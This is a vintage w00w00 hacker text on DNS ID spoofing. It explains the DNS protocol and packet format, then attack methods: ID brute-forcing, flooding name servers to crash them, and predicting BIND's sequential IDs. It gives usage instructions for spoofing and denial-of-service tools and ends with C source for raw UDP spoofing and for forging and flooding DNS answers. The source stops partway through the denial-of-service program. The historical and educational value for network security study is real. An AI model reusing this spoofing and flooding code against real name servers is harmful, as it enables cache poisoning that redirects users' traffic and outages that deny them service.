                           DNS ID Hacking                    
                           --------------

                         Brought to you by: 
             Raw-Powa and w00w00 Security Development (WSD)


--[1]-- DNS ID Hacking Presentation

w00w00!
Hi. You might be wondering what DNS ID Hacking (or Spoofing) is.
DNS ID Hacking isn't the usual way of hacking/spoofing (such jizz
or any-erect). This method is based on a vulnerability on DNS Protocol.
This affects several DNS implementations (including WinNT's DNS and BIND,
for example).

--[1.1]-- DNS Protocol Mechanism

For the first step, you will need to know how the DNS works. We will only
explain the most important parts of this protocol. In order to do that, we
will follow the steps of a DNS request packet from A to Z!

1: The client (bla.bibi.com) sends a request of resolution from the domain
"www.heike.com". To resolve the name, bla.bibi.com uses "ns.bibi.com" for
DNS. Let's take a look at the following diagram:

/----------------------------------\
| 111.1.2.123  =  bla.bibi.com     |
| 111.1.2.222  =  ns.bibi.com      |
| format:                          |
| IP_ADDR:PORT->IP_ADDR:PORT       |
| ex:                              |
| 111.1.2.123:2999->111.1.2.222:53 |
\----------------------------------/
...
  gethostbyname("www.heike.com");
...

[bla.bibi.com]                               [ns.bibi.com] 
111.1.2.123:1999 --->[?www.heike.com]------> 111.1.2.222:53

Here we see our resolution name request from source port 1999, requesting
the resolution from the DNS on port 53.

[note: The DNS is always on port 53]

Now that ns.bibi.com has received the resolution request from bla.bibi.com,
ns.bibi.com will have to resolve the name, let's look at it...

[ns.bibi.com]                                   [ns.internic.net]
111.1.2.222:53 -------->[dns?www.heike.com]----> 198.41.0.4:53

ns.bibi.com asks ns.internic.net, which is the root name server, for the
address of www.heike.com, and if it doesn't have it and sends the request
to a name server which has authority over '.com' domains.

>>> it can have the NS record for heike.com, and not the A/CNAME for
>>> www.heike.com (this is the normal case). Also, you're not asking
>>> ns.internic.net, you're asking one of the root servers for 
>>> COM directly. 

[note: We ask to internic because it could have this request in its cache]

[ns.internic.net]                                       [ns.bibi.com]
198.41.0.4:53 ------>[ns for.com is 144.44.44.4]------> 111.1.2.222:53

Here we can see that ns.internic.net answered to ns.bibi.com (which is the
NS that has authority over the domain bibi.com) with the name server
of for.com (which is the authority over '.com' domains), which has the
IP address 144.44.44.4 [let's call it ns.for.com]. Now our ns.bibi.com
will ask ns.for.com for the address of www.heike.com, but this one
doesn't have it, so it will forward the request to the DNS of heike.com
which has authority over heike.com as shown here:

[ns.bibi.com]                                [ns.for.com]
111.1.2.222:53 ------>[?www.heike.com]-----> 144.44.44.4:53

The answer from ns.for.com is:

[ns.for.com]                                              [ns.bibi.com]
144.44.44.4:53 ------>[ns for heike.com is 31.33.7.4]---> 144.44.44.4:53

Now that we know which IP address has authority on the domain "heike.com"
[we'll call it ns.heike.com], we ask it what the IP address of the machine
www (www.heike.com) is:

[ns.bibi.com]                              [ns.heike.com]
111.1.2.222:53 ----->[?www.heike.com]----> 31.33.7.4:53

And now at least, we have our answer:

[ns.heike.com]                                           [ns.bibi.com]
31.33.7.4:53 ------->[www.heike.com == 31.33.7.44] ----> 111.1.2.222:53

We can now forward it to our client bla.bibi.com:

[ns.bibi.com]                                             [bla.bibi.com]
111.1.2.222:53 ------->[www.heike.com == 31.33.7.44]----> 111.1.2.123:1999

Now bla.bibi.com knows the IP address of www.heike.com :)

So.. now let's imagine the opposite; that we'd like to have the name of a
machine from its IP address. In order to do that, the way to proceed will
be a little different because the IP address will have to be transformed:

Example: 
100.20.40.3 will become 3.40.20.100.in-addr.arpa

Attention!! This method is only for the IP resolution request (reverse DNS)

So let's look at practical example when we take the IP of www.heike.com
(31.33.7.44 or "44.7.33.31.in-addr.arpa" after the translation into a
comprehensible format for the DNS).

...
   gethostbyaddr("31.33.7.44");
...


We send our request to ns.bibi.com (our name server):

[bla.bibi.com]                                          [ns.bibi.com]
111.1.2.123:2600 ----->[?44.7.33.31.in-addr.arpa]-----> 111.1.2.222:53

ns.bibi.com sends the request for the name of machine that is
44.7.33.31.in-addr.arpa to ns.internic.net:

[ns.bibi.com]                                          [ns.internic.net]
111.1.2.222:53 ----->[?44.7.33.31.in-addr.arpa]------> 198.41.0.4:53 

ns.internic.net will send the IP address of a name server which has
authority on '31.in-addr.arpa':

[ns.internic.net]                                            [ns.bibi.com]
198.41.0.4:53 --> [NS for 31.in-addr.arpa is 144.44.44.4] -> 111.1.2.222:53

Now ns.bibi.com will ask the same question to the DNS at 144.44.44.4:

[ns.bibi.com]                                          [ns.for.com]
111.1.2.222:53 ----->[?44.7.33.31.in-addr.arpa]------> 144.44.44.4:53

And so on...
In fact the mechanism is almost identical to the one used for name
resolution.

I hope you understood the dialog on how DNS works. Now let's study DNS
messages format.

--[1.2]-- DNS packet 

Here is the format of a DNS message :
    +---------------------------+---------------------------+
    |     ID (the famous :)     |  flags                    |
    +---------------------------+---------------------------+
    |   numbers of questions    | numbers of answer         |
    +---------------------------+---------------------------+
    | number of RR authority  |number of supplementary RR |
    +---------------------------+---------------------------+
    |                                                       |
    \                                                       \
    \                   QUESTION                            \
    |                                                       |
    +-------------------------------------------------------+
    |                                                       |
    \                                                       \
    \                    ANSWER                             \
    |                                                       |
    +-------------------------------------------------------+
    |                                                       |
    \                                                       \
    \                  Stuff  etc..    No matter            \
    |                                                       |
    +-------------------------------------------------------+

--[1.3]--  Structure of DNS packets.

__ID__
The ID is to identify each DNS packet, since exchanges between name
servers are from port 53 to port 53, and it receive more than one

>>> not necessarilly; DNS is allowed to bind any client port, and the
>>> DNS ID is also needed for asynchronous client resolvers (which
>>> might need to make more than one simultaneous query)

request at a time, so the ID is the only way to recognize the different DNS
requests. We'll talk about it a little more later..

__flags__
The flags area is divided into several parts:

       4 bits                    3 bits (always 0)
       |                         |
       |                         |
[QR | opcode | AA| TC| RD| RA | zero | rcode ]
                                         |
 |           |__|__|__|                  |______ 4 bits
 |                    |_ 1 bit
 |
1 bit

QR     = If the QR bit is 0, it means that the packet is a question,
         otherwise it's an answer.

opcode = If the value is 0 for a normal request, 1 for a reserve request,
         and 2 for a status request (we don't need to know all these modes).

AA     = If it is equal to 1, it says that the name server has an
         authoritative answer.

TC     = This is unimportant.

RD     = If this flag is to 1, it means "Recursion Request", for example
         when bla.bibi.com asks ns.bibi.com to resolve the name, the flag
         tells the DNS to assume this request.

RA     = If this is set to 1, it means that recursion is available.
         This bit is set to 1 in the answer of the name server if it
         supports recursion.

Zero   = Here are three zeroes...

rcode  = It contains the error messages returned from DNS requests.
         If 0, it means "no error", 3 means "name error"

The 2 following flags don't have any importance to us.

DNS QUESTION:

Here is the format of a DNS question :

+-----------------------------------------------------------------------+
|                        name of the question                           |
+-----------------------------------------------------------------------+
|       type of question         |      type of query                   |
+--------------------------------+--------------------------------------+

The structure of the question is like this.

Example:
www.heike.com is [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] 
This is always the same for an IP address.

This splits www.heike.com into three parts: "www", "heike", and "com". The
number in front of each part specifies the length. It is also terminated
by 0.

44.33.88.123.in-addr.arpa would be:
[2|4|4|2|3|3|2|8|8|3|1|2|3|7|i|n|-|a|d|d|r|4|a|r|p|a|0]
[note]: a compression format exists, but we won't use it.


type of question:

 Here are the values that we will use most of the time:
 [note]: There are more than 20 types of different values(!) and I'm fed
         up with writing :))

  name    value
   A    |   1    | IP Address          (for resolving a name to an IP)
   PTR  |   12   | Pointer             (for resolving an IP to a name)


type of query:

 The values are the same as the type of question's values (I'm not sure
it's true, but you should look through RFCs 1033-1035 and 1037).



DNS ANSWER:

The answers have a format that we call RR.

Here is the format of an answer (an RR):

+------------------------------------------------------------------------+
|      name of the domain                                                |
+------------------------------------------------------------------------+
|   type                           |    class                            |
+----------------------------------+-------------------------------------+
|                           TTL (time to live)                           |
+------------------------------------------------------------------------+
| resource data length       |                                           |
|----------------------------+                                           |
|                       resource data                                    |
+-------------------------------------------------------------------------

name of the domain:

The domain name is stored in the same way that the question for the
resolution request of www.heike.com. The flag "name of the domain" will
contain: [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0].

type:

The type flag is the same than "type of query" in the question part of the
packet.

class:
The class flag is equal to 1 for Internet data.

time to live:
This flag explains in seconds the time-life of the informations into the
name server cache.

resource data length: 
The length of resource data, for example if resource data length is 4, it
means that the data in resources data are 4 bytes long.

resource data:  
here we put the IP for example (at least in our case)

As an example, this is what occurs when ns.bibi.com asks ns.heike.com for 
www.heike.com's address:

ns.bibi.com:53 ---> [?www.heike.com] ----> ns.heike.com:53 

+---------------------------------+--------------------------------------+
|   ID = 1999                     | QR = 0 opcode = 0 RD = 1             |
+---------------------------------+--------------------------------------+
| numbers of questions = htons(1) | numbers of answers = 0               |
+---------------------------------+--------------------------------------+
| number of RR authoritative = 0  | number of supplementary RR = 0       |
+---------------------------------+--------------------------------------+
 <the question part>							 
+------------------------------------------------------------------------+
|   name of the question = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]               |
+------------------------------------------------------------------------+
|  type of question = htons(1)    |      type of query=htons(1)          |
+---------------------------------+--------------------------------------+

Now let's look at the answer from ns.heike.com:

ns.heike.com:53 -->[IP of www.heike.com is 31.33.7.44] --> ns.bibi.com:53

+---------------------------------+---------------------------------------+
|   ID = 1999                     | QR=1 opcode=0 RD=1  AA =1  RA=1       |
+---------------------------------+---------------------------------------+
| numbers of questions = htons(1) | numbers of answers = htons(1)         |
+---------------------------------+---------------------------------------+
| number of RR authoritative = 0  | number of supplementary RR = 0        |
+---------------------------------+---------------------------------------+
+-------------------------------------------------------------------------+
|   name  of the question = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]               |
+-------------------------------------------------------------------------+
|   type of question = htons(1)   |      type of query = htons(1)         |
+-------------------------------------------------------------------------+
+-------------------------------------------------------------------------+
|   name of the domain = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]                  |
+-------------------------------------------------------------------------+
|       type        = htons(1)    |      class    = htons(1)              |
+-------------------------------------------------------------------------+
|                       time to live = 999999                             |
+-------------------------------------------------------------------------+
| resource data length = htons(4) | resource data=inet_addr("31.33.7.44") |
+-------------------------------------------------------------------------+

Yah! That's all for now :))
 
Here is an analysis:
In the answer QR = 1 because it's an answer :)
AA = 1 because the name server has authority in its domain
RA = 1 because recursion is available

I hope you understood that because you will need it for the following
events.

--[2.0]-- DNS ID hack/spoof

Now it's time to clearly explain what DNS ID hacking/spoofing is.
Like we explained before, the only way for the DNS to recognize the
different questions/answers is the ID flag in the packet. Look at this
example:

ns.bibi.com;53 ----->[?www.heike.com] ------> ns.heike.com:53

So you only have to spoof the ip of ns.heike.com and answer your false
information before ns.heike.com does first!

ns.bibi.com <------- . . . . . . . . . . .  ns.heike.com 
                   |
                   |<--[IP for www.heike.com is 1.2.3.4]<-- hum.roxor.com 

But in practice you have to guess the good ID. If you are on a LAN, you
can sniff to get this ID and answer before the name server (it's easy on a
Local Network :)

If you want to do this remotely you don't have a lot a choices, but you
do have 4 basic methods:

1.) Randomly test all the possible values of the ID flag. You must answer
    before the NS (ns.heike.com in this example)! This method is obsolete
    unless you want to know the ID or any other favorable condition to
    its prediction.

>>> This method is not obsolete --- it's how real attacks work. It
    takes less than a minute on a DS1 to exhaustively search all the
    ID's, and if you flood (or crash) the authority servers for the
    resource record you're trying to inject, you have all the time 
    in the world to do it. This is the problem that the current DNS
    protocol can't fix.

2.) Send some DNS requests (200 or 300) in order to increase the chances
    of falling on the good ID.

>>> This is analogous to using 200 or 300 responses (both consume ID 
    space), except that naieve DNS servers might not detect 300 queries,
    even if they do detect 300 wrong answers.

3.) Flood the DNS in order to avoid its work. The name server will crash
    and show the following error!

    >> Oct 06 05:18:12 w00w00 named[1913]: db_free: DB_F_ACTIVE set - ABORT
       at this time named is out of order :)

4.) Or you can use the vulnerability in BIND discovered by SNI (Secure
    Networks, Inc.) with ID prediction (we will discuss this in a bit).  


##################### Windows ID Vulnerability ###########################

I haven't tested this on WinNT, but Windows ID's are extremely easy to
predict because it is '1' by  default, and '2' for the second question (if
they are 2 questions at the same time).


######################## BIND Vulnerability ##############################

There is a vulnerability in BIND (discovered by SNI as stated earlier)

>>> we didn't discover this; it's old news. We released an advisory on
>>> how much easier it is to exploit than the old papers let on. 

that we will be using. In fact, DNS IDs are easily predictable; you only
have to sniff a DNS in order to do what you want. Let me explain...

The DNS uses a random ID at the beginning but it only increases this ID
for the next question.

It's easy to exploit this vulnerability.
Here is the way:

1. Be able to sniff easily the messages that comes to a random DNS (ex.
   ns.dede.com for this sample).

2. You ask NS.victim.com to resolve <whatever>.dede.com, and NS.victim.com
   will ask ns.dede.com to resolve <random>.dede.com

   ns.victim.com ---> [?<random>.dede.com ID = 444] ---> ns.dede.com

3. Now we have the ID of the message from NS.victim.com, now you know what
   ID area you'll have to use. (ID = 444 in this sample).

4. You then make your resolution request. ex. www.microsoft.com to
   NS.victim.com
   
   (you) ---> [?www.microsoft.com] ---> ns.victim.com

   ns.victim.com --> [?www.microsoft.com ID = 446 ] --> ns.microsoft.com
     
5. Flood the name server ns.victim.com with the ID (444) you already have and
   then you increase this by one.

 ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 444] --> ns.victim.com
 ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 445] --> ns.victim.com
 ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 446] --> ns.victim.com
 ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 447] --> ns.victim.com
 ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 448] --> ns.victim.com
 ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 449] --> ns.victim.com


Now you know that DNS IDs are predictable, and they only increase. You
flood ns.victim.com with spoofed answers with the ID 444+ ;)

>>> That's not true on OpenBSD (random scoreboarded IDs). 

[Note: WSDspoofID does this]

There is another way to exploit this vulnerability without a root on
any NS.

The mechanism is very simple. Here is the explanation:

We send to ns.victim.com a resolution request for *.provnet.fr

(you) ----------[?(random).provnet.fr] -------> ns.victim.com

Then, ns.victim.com asks ns1.provnet.fr to resolve <random>.provnet.fr.
There is nothing new here, but this is where the interesting part begins
here.

At this point you begin to flood ns.victim.com with spoofed answers
(with ns1.provnet.fr IP) with IDSs from 100 to 110:

(spoof) ----[<random>.provnet.fr is 1.2.3.4 ID=100] --> ns.victim.com 
(spoof) ----[<random>.provnet.fr is 1.2.3.4 ID=101] --> ns.victim.com 
(spoof) ----[<random>.provnet.fr is 1.2.3.4 ID=102] --> ns.victim.com 
(spoof) ----[<random>.provnet.fr is 1.2.3.4 ID=103] --> ns.victim.com 
...

After that, we ask ns.victim.com if <random>.provnet.fr has an IP address.

If ns.victim.com give us an IP address for <random>.provnet.fr then we
have found the correct! Otherwise, we have to repeat this attack until
we find the ID. It's a bit long but it's effective. 

[Note: This is how WSD-IDpred works]


########################################################################## 

Here you will find 5 programs
WSDkillDNS   - very simple DNS spoofer
WSDsniffID   - sniff a LAN and reply false DNS answers before the NS
WSDspoofID   - a DNS ID spoofer (you'll need to be root on a NS)
WSD-IDpred   - a DNS ID predictor (no need to be root on a NS)
WSD-baddns   - a very simple denial of service attack to disable DNS

Note: You can find source and binaries of these programs at 
ftp.w00w00.org/pub/DNS. You need to install libpcap on your machine before
any compilation of the w00w00 ID programs.


- w00w00 Security Development (WSD)
  See http://www.w00w00.org and ftp://ftp.w00w00.org/pub

Thanks to: pirus, Heike, and all of w00w00 Security Development (WSD),
and Asriel.

Special Thanks to: ackboo and Secure Networks, Inc. (SNI) at 
www.secnet.com for finding the vulnerability.

/* I'm a w00w00ify'd w00c0w */


Here is a HOWTO on the w00w00 ID tools:
----[HOWTO]----

I've decided to make a little HOWTO because the w00w00 ID tools are not
very user friendly for a beginner :)

1: WSD-baddns
WSD-baddns is a program to destroy the DNS.

It's very, very simple to use !!! :) 

/* I'm a w00w00ify'd w00c0w */

Usage: WSD-baddns <victim>
Example: WSD-baddns bob.lenet.fr



2: WSDsniffID 
WSDsniffID is a DNS hijacker. You need to have root privileges. It's
for a LAN only :)

Usage:  
WSDsniffID <device> <spoof IP> <spoof NAME> [type 1 or 12 ] 

'' by type we mean 1 = TYPE A  12 = TYPE PTR ''

Example:
WSDsniffID eth0 31.3.3.7 www.i.m.mucho.horny.ya 12 (We are hijacking a PTR)

So now if someone runs "nslookup <one ip>" on a network they have: 

[root@w00w00 w0w0w]# nslookup  1.2.3.4
Server:  localhost
Address:  127.0.0.1

Name:    www.i.m.mucho.horny.ya
Address:  1.2.3.4



3: --= WSDspoofID =--

1) Before you need root on a NS with AUTH over a domain (for example
shok.janova.org has authority over *.janova.org)

WSDspoofID is a DNS ID predictor  (but you need to have root on a NS or
you need to the privileges to sniff the NS)

Usage:
WSDspoofID <device to spoof> <NS victim> <your domain> <ip of your dns>
<type (1,12)> <spoof name> <spoof ip> <ns with auth on spoof ip or name>

Example:
WSDspoofID ppp0 NS2.MCI.NET janova.org shok.janova.org 12 
           www.i.m.ereet.ya 194.206.23.123  ns2.provnet.fr ..


Well after that when you ask NS2.MCI.NET for 194.206.23.123 you have:

[root@w00w00 w0w0w]# nslookup 194.206.23.123  ns2.mci.net
Server:  ns2.mci.net
Address:  204.70.57.242

Name:    www.i.m.ereet.ya
Address:  194.206.23.123

[root@w00w00 w0w0w]#

We will use ns2.provnet.fr because ns2.provnet.fr has AUTH on 194.206.23.* 

To find out who has AUTH on 194.206.23.*, you just need to do the
following:

[root@w00w00 w0w0w]# host -t NS 23.206.194.in-addr.arpa
23.206.194.in-addr.arpa name server NS2.PROVNET.FR
23.206.194.in-addr.arpa name server BOW.RAIN.FR
23.206.194.in-addr.arpa name server NS1.PROVNET.FR
[root@w00w00 w0w0w]#

To find out the NS who haas AUTH on, for example, *.provnet.fr:

[root@w00w00 w0w0w]# host -t NS provnet.fr
provnet.fr name server NS1.provnet.fr
provnet.fr name server BOW.RAIN.fr
provnet.fr name server NS2.provnet.fr
[root@w00w00 w0w0w]#

Note: The entry can change!!! You can get NS1 first.


Here is the source... to our programs

----[ BUGS ]----
1: The bit field on Solaris causes a bus error..
   We will fix it soon
----[END of BUGS ]----


----[WSD-spoof.c]----
/* ******************************************************************** */
/*  w00w00 functions for spoofing UDP                                   */
/*  ------------------------------------------------------------------- */
/*  w00w00 Security Development (WSD)					*/ 
/*  Email: WSD@w00w00.org						*/
/*  Sites: http://www.w00w00.org, ftp://ftp.w00w00.org/pub              */
/* ******************************************************************** */
  
#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <unistd.h>
#include <memory.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include "ip.h"
#include "udp.h"

#define IPHDRSIZE     sizeof(struct iphdr)
#define UDPHDRSIZE    sizeof(struct udphdr)

/*****************************************************************************/
/*
 * in_cksum --
 *  Checksum routine for Internet Protocol family headers (C Version)
 */
/*****************************************************************************/

unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
 
    /*
     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits.
     */

    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }
 
    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }
 
    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
    sum += (sum >> 16);                 /* add carry           */
    answer = ~sum;                      /* truncate to 16 bits */
    return(answer);

}



int udp_send(s, saddr, daddr, sport, dport, datagram, datasize)      
  int s;
  unsigned long  saddr;
  unsigned long  daddr;
  unsigned short sport;
  unsigned short dport;
  char     *datagram;
  unsigned datasize;
{

  int x;

  unsigned char *data;
  unsigned char packet[4024];
 
  struct iphdr  *ip;
  struct udphdr *udp;
  struct sockaddr_in sin;


  ip   = (struct iphdr  *)packet; 
  udp  = (struct udphdr *)(packet+IPHDRSIZE);
  data = (unsigned char *)(packet+IPHDRSIZE+UDPHDRSIZE);
       
  memset(packet, 0, sizeof(packet));

  udp->source = htons(sport); 
  udp->dest   = htons(dport);
  udp->len    = htons(UDPHDRSIZE+datasize);
  udp->check  = 0;         

  memcpy(data, datagram, datasize);        
  memset(packet, 0, IPHDRSIZE);
        
  ip->saddr.s_addr  = saddr;
  ip->daddr.s_addr  = daddr;
  ip->version  = 4;
  ip->ihl      = 5;
  ip->ttl      = 245;
  ip->id       = random() % 5985 + 1; 
  ip->protocol = IPPROTO_UDP;
  ip->tot_len  = htons(IPHDRSIZE + UDPHDRSIZE + datasize);
  ip->check    = 0;
  ip->check    = in_cksum((char *)packet, IPHDRSIZE);
                                                                        
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr=daddr;
  sin.sin_port = udp->dest;
	
  x = sendto(s, packet, IPHDRSIZE+UDPHDRSIZE+datasize, 0, 
        		(struct sockaddr*)&sin, sizeof(struct sockaddr));

  return(x);
}



/*****************************************************************************/
/*                     RECV PAKET                                            */
/* get_pkt(socket, *buffer, size of the buffer);                             */
/*****************************************************************************/

int get_pkt(s, data, size)
  int s;
  unsigned char *data;
  int size;
{
 struct sockaddr_in sin;
 int len, resu;

 len = sizeof(sin);
 resu = recvfrom(s, data, size, 0, (struct sockaddr *)&sin, &len);

 return resu;
}        
----[END of WSD-spoof.c]----


----[WSD-DNS2.c]----
/* ****************************************************** */
/* w00w00 code for DNS packets                 Super Raw  */
/* ------------------------------------------------------ */
/* w00w00 Security Development (WSD)                      */
/* Email: WSD@w00w00.org			          */
/* Sites: http://www.w00w00.org, ftp://ftp.w00w00.org/pub */
/* ****************************************************** */

#define   ERROR      -1
#define   TYPE_A      1
#define   TYPE_PTR   12
#define   MAXLEN     64
#define   DNSHDRSIZE 12

int myrand()
{
  int j = 1 + (int)(150.0 * rand() / (RAND_MAX + 1.0));
  return(j);
}


unsigned long host2ip(char *serv)
{
  struct hostent *hent;
  struct sockaddr_in sinn;
      
  hent = gethostbyname(serv);
  if (hent == NULL) {
     herror("gethostbyname");
     exit(ERROR);
  }
  
  bzero((char *)&sinn, sizeof(sinn));
  bcopy(hent->h_addr, (char *)&sinn.sin_addr, hent->h_length);
  
  return sinn.sin_addr.s_addr;
 }

  

void nameformat(char *name, char *qs)
{
  int i;
  int a = 0;

  char lol[3000];
  char tmp[2550], tmp2[2550];

  if (strlen(name) > sizeof(tmp) - 1) {
     fprintf(stderr, "nameformat(): name too long: %s\n", name);
     exit(ERROR);
  } 

  bzero(lol,  sizeof(lol));
  bzero(tmp,  sizeof(tmp));
  bzero(tmp2, sizeof(tmp2));

  for (i = 0; i < strlen(name); i++) {
     if (*(name+i) == '.') {
        sprintf(tmp2, "%c%s", a, tmp); 
        strcat(lol, tmp2);
          
        bzero(tmp,  sizeof(tmp));
        bzero(tmp2, sizeof(tmp2));
         
        a = 0;
     } else  
        tmp[a++] = *(name+i);
  }
       
  sprintf(tmp2, "%c%s", a, tmp);
 
  strcat(lol, tmp2);
  strcpy(qs,  lol);
 }     
 
void nameformatIP(char *ip, char *resu)
{
  int i, a = 3, k = 0;

  char c;
  char *A[4];
  char nameform[256];
  char tmp[256], tmp1[256];
  char *arpa = "in-addr.arpa";

  if (strlen(ip) > sizeof(nameform) - 1) {
     fprintf(stderr, "nameformatIP(): name too long: %s\n", ip);
     exit(ERROR);
  }

  bzero(tmp,  sizeof(tmp));
  bzero(tmp1, sizeof(tmp1));
  bzero(nameform, sizeof(nameform));

  for (i = 0; i < 4; i++) {
      A[i] = (char *)malloc(4);
      if (A[i] == NULL) {
         perror("malloc");
         exit(ERROR);
      }

      bzero(A[i], 4);
  }

  bzero(tmp,  sizeof(tmp));
  bzero(tmp1, sizeof(tmp1));

  for (i = 0; i < strlen(ip); i++) {
     c = ip[i];
     if (c == '.') {
        strcat(A[a], tmp); 
        a--;

        k = 0;

        bzero(tmp, sizeof(tmp));
     } else tmp[k++] = c;
  }
  
  strcat(A[a], tmp);
  
  for (i = 0; i < 4; i++) {
     strcat(tmp1, A[i]);
     strcat(tmp1, ".");
  }
     

  strcat(tmp1, arpa);
  nameformat(tmp1, nameform);
  strcpy(resu, nameform);
}   


int makepacketQS(char *data, char *name, int type)
{
  if (type == TYPE_A) {
     nameformat(name, data);
     *((u_short *) (data+strlen(data)+1)) = htons(TYPE_A);
  }

  if (type == TYPE_PTR) {
     nameformatIP(name,data);
     *((u_short *) (data+strlen(data)+1)) = htons(TYPE_PTR);
  }
        
  *((u_short *) (data+strlen(data)+3)) = htons(1); 

  return(strlen(data)+5);   
}


int makepacketAW(char *data, char *name, char *ip, int type)
{
  int i;
  char tmp[2550];

  bzero(tmp, sizeof(tmp));

  if (type == TYPE_A) {
     nameformat(name, data);
     *((u_short *) (data+strlen(data)+1)) = htons(1);
     *((u_short *) (data+strlen(data)+3)) = htons(1);        
   
   i = strlen(data)+5;
   strncpy(data+i, data, MAXLEN);
   
   i = i+strlen(data)+1;    
   *((u_short *) (data+i))    = htons(TYPE_A);
   *((u_short *) (data+i+2))  = htons(1);
   *((u_long  *) (data+i+4))  = 9999999;
   *((u_short *) (data+i+8))  = htons(4);
   *((u_long  *) (data+i+10)) = host2ip(ip);
   
   return(i+14);
  }

  if (type == TYPE_PTR) {
     nameformat(name, tmp);
     nameformatIP(ip, data);
   
     *((u_short *) (data+strlen(data)+1))  = htons(TYPE_PTR);
     *((u_short *) (data+strlen(data)+3)) = htons(1);  
   
     i = strlen(data)+5;
     strncpy((data+i), data, MAXLEN);
 
     i = (i+strlen(data)+1);
     *((u_short *) (data+i))   = htons(TYPE_PTR);
     *((u_short *) (data+i+2)) = htons(1);
     *((u_long  *) (data+i+4)) = 9999999;
     *((u_short *) (data+i+8)) = htons(strlen(tmp)+1);
   
     strncpy((data+i+10), tmp, MAXLEN);
   
     return(i+10+strlen(tmp)+1);
 }
 
  /* You were only supposed to use type A or PTR! Bad people. */
  return(ERROR);
}

void sendquestion(u_long s_ip, u_long d_ip,char *name,int type)
{
  int i;
  int on=1;
  int sraw;
     
  char *data;    
  char buff[1024];
         
  struct dnshdr *dns;
 
  sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (sraw == ERROR) {
     perror("socket");
     exit(ERROR);
  }
   
  if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)))
         == ERROR) {
     perror("setsockopt");
     exit(ERROR);
  }

  dns  = (struct dnshdr *) buff;
  data = (char *)(buff+DNSHDRSIZE);

  bzero(buff, sizeof(buff));

  dns->id      = 6000+myrand();
  dns->qr      = 0;
  dns->rd      = 1;
  dns->aa      = 0;
  dns->que_num = htons(1);
  dns->rep_num = htons(0);

  i = makepacketQS(data, name, type);
  udp_send(sraw, s_ip, d_ip, 1200+myrand, 53, buff, DNSHDRSIZE+i);

  close(sraw);
}                                   

void sendanswer(s_ip, d_ip, name, spoofip, ID, type)
  u_long s_ip;
  u_long d_ip;
  char *name;
  char *spoofip;
  int ID;
  int type;
{
  int i;
  int on=1;
  int sraw;
  
  char *data;
  char buff[1024];
  
  struct dnshdr *dns;
 

  sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (sraw == ERROR) {
    perror("socket");
    exit(ERROR);
  }
   
  if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)))
         == ERROR) {
     perror("setsockopt");
     exit(ERROR);
  }

  dns  = (struct dnshdr *) buff;
  data = (char *)(buff+DNSHDRSIZE);

  bzero(buff, sizeof(buff));

  dns->id      = htons(ID);
  dns->qr      = 1;
  dns->rd      = 1;
  dns->aa      = 1;
  dns->que_num = htons(1);
  dns->rep_num = htons(1);
 
  i = makepacketAW(data, name, spoofip, type);
  udp_send(sraw, s_ip, d_ip, 53, 53, buff, DNSHDRSIZE+i);
 
  close(sraw);
}           
                                     

void dnsspoof(dnstrust, victim, spoofname, spoofip, ID, type)
  char *dnstrust;
  char *victim;
  char *spoofname;
  char *spoofip;
  int ID;
  int type;
{
  int loop, rere;
  u_long fakeip, trustip, victimip;
     
  char *data;
  char buff[1024];
     
  struct dnshdr *dns;

     
  dns  = (struct dnshdr *)buff;
  data = (char *)(buff+DNSHDRSIZE);
     
  trustip  = host2ip(dnstrust);
  victimip = host2ip(victim); 
  fakeip   = host2ip("12.1.1.0");
    
  /* send question ... */
  if (type ==  TYPE_PTR) 
     for (loop = 0; loop < 4; loop++)
        sendquestion(fakeip, victimip, spoofip, type);
   
  if (type == TYPE_A)
     for (loop = 0; loop < 4; loop++)
        sendquestion(fakeip, victimip, spoofname, type);
     
  /* Answer quickly! */ 
  for (rere = 0; rere < 2; rere++) 
     for (loop = 0; loop < 80; loop++) {
        printf("trustip: %s, vitcimip: %s, spoofname: %s, spoofip: %s," 
               "ID: %i, type: %i\n",
               dnstrust, victim, spoofname, spoofip, ID+loop, type);
                     
        sendanswer(trustip, victimip, spoofname, spoofip, ID+loop, type);

     }
}
----[END of WSD-DNS2.c]----



----[WSD-baddns.c ]----
/* ******************************************************* */
/* w00w00 DNS attack (Denial of Service) 		   */ 
/* w00w00 Security Development (WSD)			   */ 
/* ------------------------------------------------------- */
/* Email: WSD@w00w00.org		   		   */
/* Sites: http://www.w00w00.org, ftp://ftp.w00w00.org/pub  */
/* ******************************************************* */

#include "WSD-spoof.c"
#include "dns.h"
#include "WSD-DNS2.c"
                   
#define  ERROR  -1
#define  VERSION "v0.2"
#define  DNSHDRSIZE 12

void main(int argc, char **argv)
{
  int sraw, on = 1;
  unsigned long s_ip, d_ip;

  char *data;
  char buf[4000];

  unsigned char names[255];

  struct dnshdr *dns;

  printf("w00w00!\n");

  if (argc < 2) {
